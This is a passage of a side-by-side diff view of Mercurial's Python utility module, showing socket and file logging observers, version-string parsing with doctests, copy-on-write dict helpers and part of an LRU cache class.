833 | return | |
827 |
|
834 | |||
828 | self.fh.write('%s> flush() -> %r\n' % (self.name, res)) |
|
835 | self.fh.write('%s> flush() -> %r\n' % (self.name, res)) | |
829 |
|
836 | |||
830 | # For observedbufferedinputpipe. |
|
837 | # For observedbufferedinputpipe. | |
831 | def bufferedread(self, res, size): |
|
838 | def bufferedread(self, res, size): | |
832 | if not self.reads: |
|
839 | if not self.reads: | |
833 | return |
|
840 | return | |
834 |
|
841 | |||
835 | if self.logdataapis: |
|
842 | if self.logdataapis: | |
836 | self.fh.write('%s> bufferedread(%d) -> %d' % ( |
|
843 | self.fh.write('%s> bufferedread(%d) -> %d' % ( | |
837 | self.name, size, len(res))) |
|
844 | self.name, size, len(res))) | |
838 |
|
845 | |||
839 | self._writedata(res) |
|
846 | self._writedata(res) | |
840 |
|
847 | |||
841 | def bufferedreadline(self, res): |
|
848 | def bufferedreadline(self, res): | |
842 | if not self.reads: |
|
849 | if not self.reads: | |
843 | return |
|
850 | return | |
844 |
|
851 | |||
845 | if self.logdataapis: |
|
852 | if self.logdataapis: | |
846 | self.fh.write('%s> bufferedreadline() -> %d' % ( |
|
853 | self.fh.write('%s> bufferedreadline() -> %d' % ( | |
847 | self.name, len(res))) |
|
854 | self.name, len(res))) | |
848 |
|
855 | |||
849 | self._writedata(res) |
|
856 | self._writedata(res) | |
850 |
|
857 | |||
851 | def makeloggingfileobject(logh, fh, name, reads=True, writes=True, |
|
858 | def makeloggingfileobject(logh, fh, name, reads=True, writes=True, | |
852 | logdata=False, logdataapis=True): |
|
859 | logdata=False, logdataapis=True): | |
853 | """Turn a file object into a logging file object.""" |
|
860 | """Turn a file object into a logging file object.""" | |
854 |
|
861 | |||
855 | observer = fileobjectobserver(logh, name, reads=reads, writes=writes, |
|
862 | observer = fileobjectobserver(logh, name, reads=reads, writes=writes, | |
856 | logdata=logdata, logdataapis=logdataapis) |
|
863 | logdata=logdata, logdataapis=logdataapis) | |
857 | return fileobjectproxy(fh, observer) |
|
864 | return fileobjectproxy(fh, observer) | |
858 |
|
865 | |||
859 | class socketobserver(baseproxyobserver): |
|
866 | class socketobserver(baseproxyobserver): | |
860 | """Logs socket activity.""" |
|
867 | """Logs socket activity.""" | |
861 | def __init__(self, fh, name, reads=True, writes=True, states=True, |
|
868 | def __init__(self, fh, name, reads=True, writes=True, states=True, | |
862 | logdata=False, logdataapis=True): |
|
869 | logdata=False, logdataapis=True): | |
863 | self.fh = fh |
|
870 | self.fh = fh | |
864 | self.name = name |
|
871 | self.name = name | |
865 | self.reads = reads |
|
872 | self.reads = reads | |
866 | self.writes = writes |
|
873 | self.writes = writes | |
867 | self.states = states |
|
874 | self.states = states | |
868 | self.logdata = logdata |
|
875 | self.logdata = logdata | |
869 | self.logdataapis = logdataapis |
|
876 | self.logdataapis = logdataapis | |
870 |
|
877 | |||
871 | def makefile(self, res, mode=None, bufsize=None): |
|
878 | def makefile(self, res, mode=None, bufsize=None): | |
872 | if not self.states: |
|
879 | if not self.states: | |
873 | return |
|
880 | return | |
874 |
|
881 | |||
875 | self.fh.write('%s> makefile(%r, %r)\n' % ( |
|
882 | self.fh.write('%s> makefile(%r, %r)\n' % ( | |
876 | self.name, mode, bufsize)) |
|
883 | self.name, mode, bufsize)) | |
877 |
|
884 | |||
878 | def recv(self, res, size, flags=0): |
|
885 | def recv(self, res, size, flags=0): | |
879 | if not self.reads: |
|
886 | if not self.reads: | |
880 | return |
|
887 | return | |
881 |
|
888 | |||
882 | if self.logdataapis: |
|
889 | if self.logdataapis: | |
883 | self.fh.write('%s> recv(%d, %d) -> %d' % ( |
|
890 | self.fh.write('%s> recv(%d, %d) -> %d' % ( | |
884 | self.name, size, flags, len(res))) |
|
891 | self.name, size, flags, len(res))) | |
885 | self._writedata(res) |
|
892 | self._writedata(res) | |
886 |
|
893 | |||
887 | def recvfrom(self, res, size, flags=0): |
|
894 | def recvfrom(self, res, size, flags=0): | |
888 | if not self.reads: |
|
895 | if not self.reads: | |
889 | return |
|
896 | return | |
890 |
|
897 | |||
891 | if self.logdataapis: |
|
898 | if self.logdataapis: | |
892 | self.fh.write('%s> recvfrom(%d, %d) -> %d' % ( |
|
899 | self.fh.write('%s> recvfrom(%d, %d) -> %d' % ( | |
893 | self.name, size, flags, len(res[0]))) |
|
900 | self.name, size, flags, len(res[0]))) | |
894 |
|
901 | |||
895 | self._writedata(res[0]) |
|
902 | self._writedata(res[0]) | |
896 |
|
903 | |||
897 | def recvfrom_into(self, res, buf, size, flags=0): |
|
904 | def recvfrom_into(self, res, buf, size, flags=0): | |
898 | if not self.reads: |
|
905 | if not self.reads: | |
899 | return |
|
906 | return | |
900 |
|
907 | |||
901 | if self.logdataapis: |
|
908 | if self.logdataapis: | |
902 | self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % ( |
|
909 | self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % ( | |
903 | self.name, size, flags, res[0])) |
|
910 | self.name, size, flags, res[0])) | |
904 |
|
911 | |||
905 | self._writedata(buf[0:res[0]]) |
|
912 | self._writedata(buf[0:res[0]]) | |
906 |
|
913 | |||
907 | def recv_into(self, res, buf, size=0, flags=0): |
|
914 | def recv_into(self, res, buf, size=0, flags=0): | |
908 | if not self.reads: |
|
915 | if not self.reads: | |
909 | return |
|
916 | return | |
910 |
|
917 | |||
911 | if self.logdataapis: |
|
918 | if self.logdataapis: | |
912 | self.fh.write('%s> recv_into(%d, %d) -> %d' % ( |
|
919 | self.fh.write('%s> recv_into(%d, %d) -> %d' % ( | |
913 | self.name, size, flags, res)) |
|
920 | self.name, size, flags, res)) | |
914 |
|
921 | |||
915 | self._writedata(buf[0:res]) |
|
922 | self._writedata(buf[0:res]) | |
916 |
|
923 | |||
917 | def send(self, res, data, flags=0): |
|
924 | def send(self, res, data, flags=0): | |
918 | if not self.writes: |
|
925 | if not self.writes: | |
919 | return |
|
926 | return | |
920 |
|
927 | |||
921 | self.fh.write('%s> send(%d, %d) -> %d' % ( |
|
928 | self.fh.write('%s> send(%d, %d) -> %d' % ( | |
922 | self.name, len(data), flags, len(res))) |
|
929 | self.name, len(data), flags, len(res))) | |
923 | self._writedata(data) |
|
930 | self._writedata(data) | |
924 |
|
931 | |||
925 | def sendall(self, res, data, flags=0): |
|
932 | def sendall(self, res, data, flags=0): | |
926 | if not self.writes: |
|
933 | if not self.writes: | |
927 | return |
|
934 | return | |
928 |
|
935 | |||
929 | if self.logdataapis: |
|
936 | if self.logdataapis: | |
930 | # Returns None on success. So don't bother reporting return value. |
|
937 | # Returns None on success. So don't bother reporting return value. | |
931 | self.fh.write('%s> sendall(%d, %d)' % ( |
|
938 | self.fh.write('%s> sendall(%d, %d)' % ( | |
932 | self.name, len(data), flags)) |
|
939 | self.name, len(data), flags)) | |
933 |
|
940 | |||
934 | self._writedata(data) |
|
941 | self._writedata(data) | |
935 |
|
942 | |||
936 | def sendto(self, res, data, flagsoraddress, address=None): |
|
943 | def sendto(self, res, data, flagsoraddress, address=None): | |
937 | if not self.writes: |
|
944 | if not self.writes: | |
938 | return |
|
945 | return | |
939 |
|
946 | |||
940 | if address: |
|
947 | if address: | |
941 | flags = flagsoraddress |
|
948 | flags = flagsoraddress | |
942 | else: |
|
949 | else: | |
943 | flags = 0 |
|
950 | flags = 0 | |
944 |
|
951 | |||
945 | if self.logdataapis: |
|
952 | if self.logdataapis: | |
946 | self.fh.write('%s> sendto(%d, %d, %r) -> %d' % ( |
|
953 | self.fh.write('%s> sendto(%d, %d, %r) -> %d' % ( | |
947 | self.name, len(data), flags, address, res)) |
|
954 | self.name, len(data), flags, address, res)) | |
948 |
|
955 | |||
949 | self._writedata(data) |
|
956 | self._writedata(data) | |
950 |
|
957 | |||
951 | def setblocking(self, res, flag): |
|
958 | def setblocking(self, res, flag): | |
952 | if not self.states: |
|
959 | if not self.states: | |
953 | return |
|
960 | return | |
954 |
|
961 | |||
955 | self.fh.write('%s> setblocking(%r)\n' % (self.name, flag)) |
|
962 | self.fh.write('%s> setblocking(%r)\n' % (self.name, flag)) | |
956 |
|
963 | |||
957 | def settimeout(self, res, value): |
|
964 | def settimeout(self, res, value): | |
958 | if not self.states: |
|
965 | if not self.states: | |
959 | return |
|
966 | return | |
960 |
|
967 | |||
961 | self.fh.write('%s> settimeout(%r)\n' % (self.name, value)) |
|
968 | self.fh.write('%s> settimeout(%r)\n' % (self.name, value)) | |
962 |
|
969 | |||
963 | def gettimeout(self, res): |
|
970 | def gettimeout(self, res): | |
964 | if not self.states: |
|
971 | if not self.states: | |
965 | return |
|
972 | return | |
966 |
|
973 | |||
967 | self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res)) |
|
974 | self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res)) | |
968 |
|
975 | |||
969 | def setsockopt(self, level, optname, value): |
|
976 | def setsockopt(self, level, optname, value): | |
970 | if not self.states: |
|
977 | if not self.states: | |
971 | return |
|
978 | return | |
972 |
|
979 | |||
973 | self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % ( |
|
980 | self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % ( | |
974 | self.name, level, optname, value)) |
|
981 | self.name, level, optname, value)) | |
975 |
|
982 | |||
976 | def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True, |
|
983 | def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True, | |
977 | logdata=False, logdataapis=True): |
|
984 | logdata=False, logdataapis=True): | |
978 | """Turn a socket into a logging socket.""" |
|
985 | """Turn a socket into a logging socket.""" | |
979 |
|
986 | |||
980 | observer = socketobserver(logh, name, reads=reads, writes=writes, |
|
987 | observer = socketobserver(logh, name, reads=reads, writes=writes, | |
981 | states=states, logdata=logdata, |
|
988 | states=states, logdata=logdata, | |
982 | logdataapis=logdataapis) |
|
989 | logdataapis=logdataapis) | |
983 | return socketproxy(fh, observer) |
|
990 | return socketproxy(fh, observer) | |
984 |
|
991 | |||
985 | def version(): |
|
992 | def version(): | |
986 | """Return version information if available.""" |
|
993 | """Return version information if available.""" | |
987 | try: |
|
994 | try: | |
988 | from . import __version__ |
|
995 | from . import __version__ | |
989 | return __version__.version |
|
996 | return __version__.version | |
990 | except ImportError: |
|
997 | except ImportError: | |
991 | return 'unknown' |
|
998 | return 'unknown' | |
992 |
|
999 | |||
993 | def versiontuple(v=None, n=4): |
|
1000 | def versiontuple(v=None, n=4): | |
994 | """Parses a Mercurial version string into an N-tuple. |
|
1001 | """Parses a Mercurial version string into an N-tuple. | |
995 |
|
1002 | |||
996 | The version string to be parsed is specified with the ``v`` argument. |
|
1003 | The version string to be parsed is specified with the ``v`` argument. | |
997 | If it isn't defined, the current Mercurial version string will be parsed. |
|
1004 | If it isn't defined, the current Mercurial version string will be parsed. | |
998 |
|
1005 | |||
999 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
1006 | ``n`` can be 2, 3, or 4. Here is how some version strings map to | |
1000 | returned values: |
|
1007 | returned values: | |
1001 |
|
1008 | |||
1002 | >>> v = b'3.6.1+190-df9b73d2d444' |
|
1009 | >>> v = b'3.6.1+190-df9b73d2d444' | |
1003 | >>> versiontuple(v, 2) |
|
1010 | >>> versiontuple(v, 2) | |
1004 | (3, 6) |
|
1011 | (3, 6) | |
1005 | >>> versiontuple(v, 3) |
|
1012 | >>> versiontuple(v, 3) | |
1006 | (3, 6, 1) |
|
1013 | (3, 6, 1) | |
1007 | >>> versiontuple(v, 4) |
|
1014 | >>> versiontuple(v, 4) | |
1008 | (3, 6, 1, '190-df9b73d2d444') |
|
1015 | (3, 6, 1, '190-df9b73d2d444') | |
1009 |
|
1016 | |||
1010 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
|
1017 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') | |
1011 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
1018 | (3, 6, 1, '190-df9b73d2d444+20151118') | |
1012 |
|
1019 | |||
1013 | >>> v = b'3.6' |
|
1020 | >>> v = b'3.6' | |
1014 | >>> versiontuple(v, 2) |
|
1021 | >>> versiontuple(v, 2) | |
1015 | (3, 6) |
|
1022 | (3, 6) | |
1016 | >>> versiontuple(v, 3) |
|
1023 | >>> versiontuple(v, 3) | |
1017 | (3, 6, None) |
|
1024 | (3, 6, None) | |
1018 | >>> versiontuple(v, 4) |
|
1025 | >>> versiontuple(v, 4) | |
1019 | (3, 6, None, None) |
|
1026 | (3, 6, None, None) | |
1020 |
|
1027 | |||
1021 | >>> v = b'3.9-rc' |
|
1028 | >>> v = b'3.9-rc' | |
1022 | >>> versiontuple(v, 2) |
|
1029 | >>> versiontuple(v, 2) | |
1023 | (3, 9) |
|
1030 | (3, 9) | |
1024 | >>> versiontuple(v, 3) |
|
1031 | >>> versiontuple(v, 3) | |
1025 | (3, 9, None) |
|
1032 | (3, 9, None) | |
1026 | >>> versiontuple(v, 4) |
|
1033 | >>> versiontuple(v, 4) | |
1027 | (3, 9, None, 'rc') |
|
1034 | (3, 9, None, 'rc') | |
1028 |
|
1035 | |||
1029 | >>> v = b'3.9-rc+2-02a8fea4289b' |
|
1036 | >>> v = b'3.9-rc+2-02a8fea4289b' | |
1030 | >>> versiontuple(v, 2) |
|
1037 | >>> versiontuple(v, 2) | |
1031 | (3, 9) |
|
1038 | (3, 9) | |
1032 | >>> versiontuple(v, 3) |
|
1039 | >>> versiontuple(v, 3) | |
1033 | (3, 9, None) |
|
1040 | (3, 9, None) | |
1034 | >>> versiontuple(v, 4) |
|
1041 | >>> versiontuple(v, 4) | |
1035 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
1042 | (3, 9, None, 'rc+2-02a8fea4289b') | |
1036 |
|
1043 | |||
1037 | >>> versiontuple(b'4.6rc0') |
|
1044 | >>> versiontuple(b'4.6rc0') | |
1038 | (4, 6, None, 'rc0') |
|
1045 | (4, 6, None, 'rc0') | |
1039 | >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
|
1046 | >>> versiontuple(b'4.6rc0+12-425d55e54f98') | |
1040 | (4, 6, None, 'rc0+12-425d55e54f98') |
|
1047 | (4, 6, None, 'rc0+12-425d55e54f98') | |
1041 | >>> versiontuple(b'.1.2.3') |
|
1048 | >>> versiontuple(b'.1.2.3') | |
1042 | (None, None, None, '.1.2.3') |
|
1049 | (None, None, None, '.1.2.3') | |
1043 | >>> versiontuple(b'12.34..5') |
|
1050 | >>> versiontuple(b'12.34..5') | |
1044 | (12, 34, None, '..5') |
|
1051 | (12, 34, None, '..5') | |
1045 | >>> versiontuple(b'1.2.3.4.5.6') |
|
1052 | >>> versiontuple(b'1.2.3.4.5.6') | |
1046 | (1, 2, 3, '.4.5.6') |
|
1053 | (1, 2, 3, '.4.5.6') | |
1047 | """ |
|
1054 | """ | |
1048 | if not v: |
|
1055 | if not v: | |
1049 | v = version() |
|
1056 | v = version() | |
1050 | m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) |
|
1057 | m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) | |
1051 | if not m: |
|
1058 | if not m: | |
1052 | vparts, extra = '', v |
|
1059 | vparts, extra = '', v | |
1053 | elif m.group(2): |
|
1060 | elif m.group(2): | |
1054 | vparts, extra = m.groups() |
|
1061 | vparts, extra = m.groups() | |
1055 | else: |
|
1062 | else: | |
1056 | vparts, extra = m.group(1), None |
|
1063 | vparts, extra = m.group(1), None | |
1057 |
|
1064 | |||
1058 | vints = [] |
|
1065 | vints = [] | |
1059 | for i in vparts.split('.'): |
|
1066 | for i in vparts.split('.'): | |
1060 | try: |
|
1067 | try: | |
1061 | vints.append(int(i)) |
|
1068 | vints.append(int(i)) | |
1062 | except ValueError: |
|
1069 | except ValueError: | |
1063 | break |
|
1070 | break | |
1064 | # (3, 6) -> (3, 6, None) |
|
1071 | # (3, 6) -> (3, 6, None) | |
1065 | while len(vints) < 3: |
|
1072 | while len(vints) < 3: | |
1066 | vints.append(None) |
|
1073 | vints.append(None) | |
1067 |
|
1074 | |||
1068 | if n == 2: |
|
1075 | if n == 2: | |
1069 | return (vints[0], vints[1]) |
|
1076 | return (vints[0], vints[1]) | |
1070 | if n == 3: |
|
1077 | if n == 3: | |
1071 | return (vints[0], vints[1], vints[2]) |
|
1078 | return (vints[0], vints[1], vints[2]) | |
1072 | if n == 4: |
|
1079 | if n == 4: | |
1073 | return (vints[0], vints[1], vints[2], extra) |
|
1080 | return (vints[0], vints[1], vints[2], extra) | |
1074 |
|
1081 | |||
1075 | def cachefunc(func): |
|
1082 | def cachefunc(func): | |
1076 | '''cache the result of function calls''' |
|
1083 | '''cache the result of function calls''' | |
1077 | # XXX doesn't handle keywords args |
|
1084 | # XXX doesn't handle keywords args | |
1078 | if func.__code__.co_argcount == 0: |
|
1085 | if func.__code__.co_argcount == 0: | |
1079 | cache = [] |
|
1086 | cache = [] | |
1080 | def f(): |
|
1087 | def f(): | |
1081 | if len(cache) == 0: |
|
1088 | if len(cache) == 0: | |
1082 | cache.append(func()) |
|
1089 | cache.append(func()) | |
1083 | return cache[0] |
|
1090 | return cache[0] | |
1084 | return f |
|
1091 | return f | |
1085 | cache = {} |
|
1092 | cache = {} | |
1086 | if func.__code__.co_argcount == 1: |
|
1093 | if func.__code__.co_argcount == 1: | |
1087 | # we gain a small amount of time because |
|
1094 | # we gain a small amount of time because | |
1088 | # we don't need to pack/unpack the list |
|
1095 | # we don't need to pack/unpack the list | |
1089 | def f(arg): |
|
1096 | def f(arg): | |
1090 | if arg not in cache: |
|
1097 | if arg not in cache: | |
1091 | cache[arg] = func(arg) |
|
1098 | cache[arg] = func(arg) | |
1092 | return cache[arg] |
|
1099 | return cache[arg] | |
1093 | else: |
|
1100 | else: | |
1094 | def f(*args): |
|
1101 | def f(*args): | |
1095 | if args not in cache: |
|
1102 | if args not in cache: | |
1096 | cache[args] = func(*args) |
|
1103 | cache[args] = func(*args) | |
1097 | return cache[args] |
|
1104 | return cache[args] | |
1098 |
|
1105 | |||
1099 | return f |
|
1106 | return f | |
1100 |
|
1107 | |||
1101 | class cow(object): |
|
1108 | class cow(object): | |
1102 | """helper class to make copy-on-write easier |
|
1109 | """helper class to make copy-on-write easier | |
1103 |
|
1110 | |||
1104 | Call preparewrite before doing any writes. |
|
1111 | Call preparewrite before doing any writes. | |
1105 | """ |
|
1112 | """ | |
1106 |
|
1113 | |||
1107 | def preparewrite(self): |
|
1114 | def preparewrite(self): | |
1108 | """call this before writes, return self or a copied new object""" |
|
1115 | """call this before writes, return self or a copied new object""" | |
1109 | if getattr(self, '_copied', 0): |
|
1116 | if getattr(self, '_copied', 0): | |
1110 | self._copied -= 1 |
|
1117 | self._copied -= 1 | |
1111 | return self.__class__(self) |
|
1118 | return self.__class__(self) | |
1112 | return self |
|
1119 | return self | |
1113 |
|
1120 | |||
1114 | def copy(self): |
|
1121 | def copy(self): | |
1115 | """always do a cheap copy""" |
|
1122 | """always do a cheap copy""" | |
1116 | self._copied = getattr(self, '_copied', 0) + 1 |
|
1123 | self._copied = getattr(self, '_copied', 0) + 1 | |
1117 | return self |
|
1124 | return self | |
1118 |
|
1125 | |||
1119 | class sortdict(collections.OrderedDict): |
|
1126 | class sortdict(collections.OrderedDict): | |
1120 | '''a simple sorted dictionary |
|
1127 | '''a simple sorted dictionary | |
1121 |
|
1128 | |||
1122 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
|
1129 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) | |
1123 | >>> d2 = d1.copy() |
|
1130 | >>> d2 = d1.copy() | |
1124 | >>> d2 |
|
1131 | >>> d2 | |
1125 | sortdict([('a', 0), ('b', 1)]) |
|
1132 | sortdict([('a', 0), ('b', 1)]) | |
1126 | >>> d2.update([(b'a', 2)]) |
|
1133 | >>> d2.update([(b'a', 2)]) | |
1127 | >>> list(d2.keys()) # should still be in last-set order |
|
1134 | >>> list(d2.keys()) # should still be in last-set order | |
1128 | ['b', 'a'] |
|
1135 | ['b', 'a'] | |
1129 | ''' |
|
1136 | ''' | |
1130 |
|
1137 | |||
1131 | def __setitem__(self, key, value): |
|
1138 | def __setitem__(self, key, value): | |
1132 | if key in self: |
|
1139 | if key in self: | |
1133 | del self[key] |
|
1140 | del self[key] | |
1134 | super(sortdict, self).__setitem__(key, value) |
|
1141 | super(sortdict, self).__setitem__(key, value) | |
1135 |
|
1142 | |||
1136 | if pycompat.ispypy: |
|
1143 | if pycompat.ispypy: | |
1137 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
1144 | # __setitem__() isn't called as of PyPy 5.8.0 | |
1138 | def update(self, src): |
|
1145 | def update(self, src): | |
1139 | if isinstance(src, dict): |
|
1146 | if isinstance(src, dict): | |
1140 | src = src.iteritems() |
|
1147 | src = src.iteritems() | |
1141 | for k, v in src: |
|
1148 | for k, v in src: | |
1142 | self[k] = v |
|
1149 | self[k] = v | |
1143 |
|
1150 | |||
1144 | class cowdict(cow, dict): |
|
1151 | class cowdict(cow, dict): | |
1145 | """copy-on-write dict |
|
1152 | """copy-on-write dict | |
1146 |
|
1153 | |||
1147 | Be sure to call d = d.preparewrite() before writing to d. |
|
1154 | Be sure to call d = d.preparewrite() before writing to d. | |
1148 |
|
1155 | |||
1149 | >>> a = cowdict() |
|
1156 | >>> a = cowdict() | |
1150 | >>> a is a.preparewrite() |
|
1157 | >>> a is a.preparewrite() | |
1151 | True |
|
1158 | True | |
1152 | >>> b = a.copy() |
|
1159 | >>> b = a.copy() | |
1153 | >>> b is a |
|
1160 | >>> b is a | |
1154 | True |
|
1161 | True | |
1155 | >>> c = b.copy() |
|
1162 | >>> c = b.copy() | |
1156 | >>> c is a |
|
1163 | >>> c is a | |
1157 | True |
|
1164 | True | |
1158 | >>> a = a.preparewrite() |
|
1165 | >>> a = a.preparewrite() | |
1159 | >>> b is a |
|
1166 | >>> b is a | |
1160 | False |
|
1167 | False | |
1161 | >>> a is a.preparewrite() |
|
1168 | >>> a is a.preparewrite() | |
1162 | True |
|
1169 | True | |
1163 | >>> c = c.preparewrite() |
|
1170 | >>> c = c.preparewrite() | |
1164 | >>> b is c |
|
1171 | >>> b is c | |
1165 | False |
|
1172 | False | |
1166 | >>> b is b.preparewrite() |
|
1173 | >>> b is b.preparewrite() | |
1167 | True |
|
1174 | True | |
1168 | """ |
|
1175 | """ | |
1169 |
|
1176 | |||
1170 | class cowsortdict(cow, sortdict): |
|
1177 | class cowsortdict(cow, sortdict): | |
1171 | """copy-on-write sortdict |
|
1178 | """copy-on-write sortdict | |
1172 |
|
1179 | |||
1173 | Be sure to call d = d.preparewrite() before writing to d. |
|
1180 | Be sure to call d = d.preparewrite() before writing to d. | |
1174 | """ |
|
1181 | """ | |
1175 |
|
1182 | |||
1176 | class transactional(object): |
|
1183 | class transactional(object): | |
1177 | """Base class for making a transactional type into a context manager.""" |
|
1184 | """Base class for making a transactional type into a context manager.""" | |
1178 | __metaclass__ = abc.ABCMeta |
|
1185 | __metaclass__ = abc.ABCMeta | |
1179 |
|
1186 | |||
1180 | @abc.abstractmethod |
|
1187 | @abc.abstractmethod | |
1181 | def close(self): |
|
1188 | def close(self): | |
1182 | """Successfully closes the transaction.""" |
|
1189 | """Successfully closes the transaction.""" | |
1183 |
|
1190 | |||
1184 | @abc.abstractmethod |
|
1191 | @abc.abstractmethod | |
1185 | def release(self): |
|
1192 | def release(self): | |
1186 | """Marks the end of the transaction. |
|
1193 | """Marks the end of the transaction. | |
1187 |
|
1194 | |||
1188 | If the transaction has not been closed, it will be aborted. |
|
1195 | If the transaction has not been closed, it will be aborted. | |
1189 | """ |
|
1196 | """ | |
1190 |
|
1197 | |||
1191 | def __enter__(self): |
|
1198 | def __enter__(self): | |
1192 | return self |
|
1199 | return self | |
1193 |
|
1200 | |||
1194 | def __exit__(self, exc_type, exc_val, exc_tb): |
|
1201 | def __exit__(self, exc_type, exc_val, exc_tb): | |
1195 | try: |
|
1202 | try: | |
1196 | if exc_type is None: |
|
1203 | if exc_type is None: | |
1197 | self.close() |
|
1204 | self.close() | |
1198 | finally: |
|
1205 | finally: | |
1199 | self.release() |
|
1206 | self.release() | |
1200 |
|
1207 | |||
1201 | @contextlib.contextmanager |
|
1208 | @contextlib.contextmanager | |
1202 | def acceptintervention(tr=None): |
|
1209 | def acceptintervention(tr=None): | |
1203 | """A context manager that closes the transaction on InterventionRequired |
|
1210 | """A context manager that closes the transaction on InterventionRequired | |
1204 |
|
1211 | |||
1205 | If no transaction was provided, this simply runs the body and returns |
|
1212 | If no transaction was provided, this simply runs the body and returns | |
1206 | """ |
|
1213 | """ | |
1207 | if not tr: |
|
1214 | if not tr: | |
1208 | yield |
|
1215 | yield | |
1209 | return |
|
1216 | return | |
1210 | try: |
|
1217 | try: | |
1211 | yield |
|
1218 | yield | |
1212 | tr.close() |
|
1219 | tr.close() | |
1213 | except error.InterventionRequired: |
|
1220 | except error.InterventionRequired: | |
1214 | tr.close() |
|
1221 | tr.close() | |
1215 | raise |
|
1222 | raise | |
1216 | finally: |
|
1223 | finally: | |
1217 | tr.release() |
|
1224 | tr.release() | |
1218 |
|
1225 | |||
1219 | @contextlib.contextmanager |
|
1226 | @contextlib.contextmanager | |
1220 | def nullcontextmanager(): |
|
1227 | def nullcontextmanager(): | |
1221 | yield |
|
1228 | yield | |
1222 |
|
1229 | |||
1223 | class _lrucachenode(object): |
|
1230 | class _lrucachenode(object): | |
1224 | """A node in a doubly linked list. |
|
1231 | """A node in a doubly linked list. | |
1225 |
|
1232 | |||
1226 | Holds a reference to nodes on either side as well as a key-value |
|
1233 | Holds a reference to nodes on either side as well as a key-value | |
1227 | pair for the dictionary entry. |
|
1234 | pair for the dictionary entry. | |
1228 | """ |
|
1235 | """ | |
1229 | __slots__ = (u'next', u'prev', u'key', u'value') |
|
1236 | __slots__ = (u'next', u'prev', u'key', u'value') | |
1230 |
|
1237 | |||
1231 | def __init__(self): |
|
1238 | def __init__(self): | |
1232 | self.next = None |
|
1239 | self.next = None | |
1233 | self.prev = None |
|
1240 | self.prev = None | |
1234 |
|
1241 | |||
1235 | self.key = _notset |
|
1242 | self.key = _notset | |
1236 | self.value = None |
|
1243 | self.value = None | |
1237 |
|
1244 | |||
1238 | def markempty(self): |
|
1245 | def markempty(self): | |
1239 | """Mark the node as emptied.""" |
|
1246 | """Mark the node as emptied.""" | |
1240 | self.key = _notset |
|
1247 | self.key = _notset | |
1241 |
|
1248 | |||
1242 | class lrucachedict(object): |
|
1249 | class lrucachedict(object): | |
1243 | """Dict that caches most recent accesses and sets. |
|
1250 | """Dict that caches most recent accesses and sets. | |
1244 |
|
1251 | |||
1245 | The dict consists of an actual backing dict - indexed by original |
|
1252 | The dict consists of an actual backing dict - indexed by original | |
1246 | key - and a doubly linked circular list defining the order of entries in |
|
1253 | key - and a doubly linked circular list defining the order of entries in | |
1247 | the cache. |
|
1254 | the cache. | |
1248 |
|
1255 | |||
1249 | The head node is the newest entry in the cache. If the cache is full, |
|
1256 | The head node is the newest entry in the cache. If the cache is full, | |
1250 | we recycle head.prev and make it the new head. Cache accesses result in |
|
1257 | we recycle head.prev and make it the new head. Cache accesses result in | |
1251 | the node being moved to before the existing head and being marked as the |
|
1258 | the node being moved to before the existing head and being marked as the | |
1252 | new head node. |
|
1259 | new head node. | |
1253 | """ |
|
1260 | """ | |
1254 | def __init__(self, max): |
|
1261 | def __init__(self, max): | |
1255 | self._cache = {} |
|
1262 | self._cache = {} | |
1256 |
|
1263 | |||
1257 | self._head = head = _lrucachenode() |
|
1264 | self._head = head = _lrucachenode() | |
1258 | head.prev = head |
|
1265 | head.prev = head | |
1259 | head.next = head |
|
1266 | head.next = head | |
1260 | self._size = 1 |
|
1267 | self._size = 1 | |
1261 | self._capacity = max |
|
1268 | self._capacity = max | |
1262 |
|
1269 | |||
1263 | def __len__(self): |
|
1270 | def __len__(self): | |
1264 | return len(self._cache) |
|
1271 | return len(self._cache) | |
1265 |
|
1272 | |||
1266 | def __contains__(self, k): |
|
1273 | def __contains__(self, k): | |
1267 | return k in self._cache |
|
1274 | return k in self._cache | |
1268 |
|
1275 | |||
1269 | def __iter__(self): |
|
1276 | def __iter__(self): | |
1270 | # We don't have to iterate in cache order, but why not. |
|
1277 | # We don't have to iterate in cache order, but why not. | |
1271 | n = self._head |
|
1278 | n = self._head | |
1272 | for i in range(len(self._cache)): |
|
1279 | for i in range(len(self._cache)): | |
1273 | yield n.key |
|
1280 | yield n.key | |
1274 | n = n.next |
|
1281 | n = n.next | |
1275 |
|
1282 | |||
1276 | def __getitem__(self, k): |
|
1283 | def __getitem__(self, k): | |
1277 | node = self._cache[k] |
|
1284 | node = self._cache[k] | |
1278 | self._movetohead(node) |
|
1285 | self._movetohead(node) | |
1279 | return node.value |
|
1286 | return node.value | |
1280 |
|
1287 | |||
1281 | def __setitem__(self, k, v): |
|
1288 | def __setitem__(self, k, v): | |
1282 | node = self._cache.get(k) |
|
1289 | node = self._cache.get(k) | |
1283 | # Replace existing value and mark as newest. |
|
1290 | # Replace existing value and mark as newest. | |
1284 | if node is not None: |
|
1291 | if node is not None: | |
1285 | node.value = v |
|
1292 | node.value = v | |
1286 | self._movetohead(node) |
|
1293 | self._movetohead(node) | |
1287 | return |
|
1294 | return | |
1288 |
|
1295 | |||
1289 | if self._size < self._capacity: |
|
1296 | if self._size < self._capacity: | |
1290 | node = self._addcapacity() |
|
1297 | node = self._addcapacity() | |
1291 | else: |
|
1298 | else: | |
1292 | # Grab the last/oldest item. |
|
1299 | # Grab the last/oldest item. | |
1293 | node = self._head.prev |
|
1300 | node = self._head.prev | |
1294 |
|
1301 | |||
1295 | # At capacity. Kill the old entry. |
|
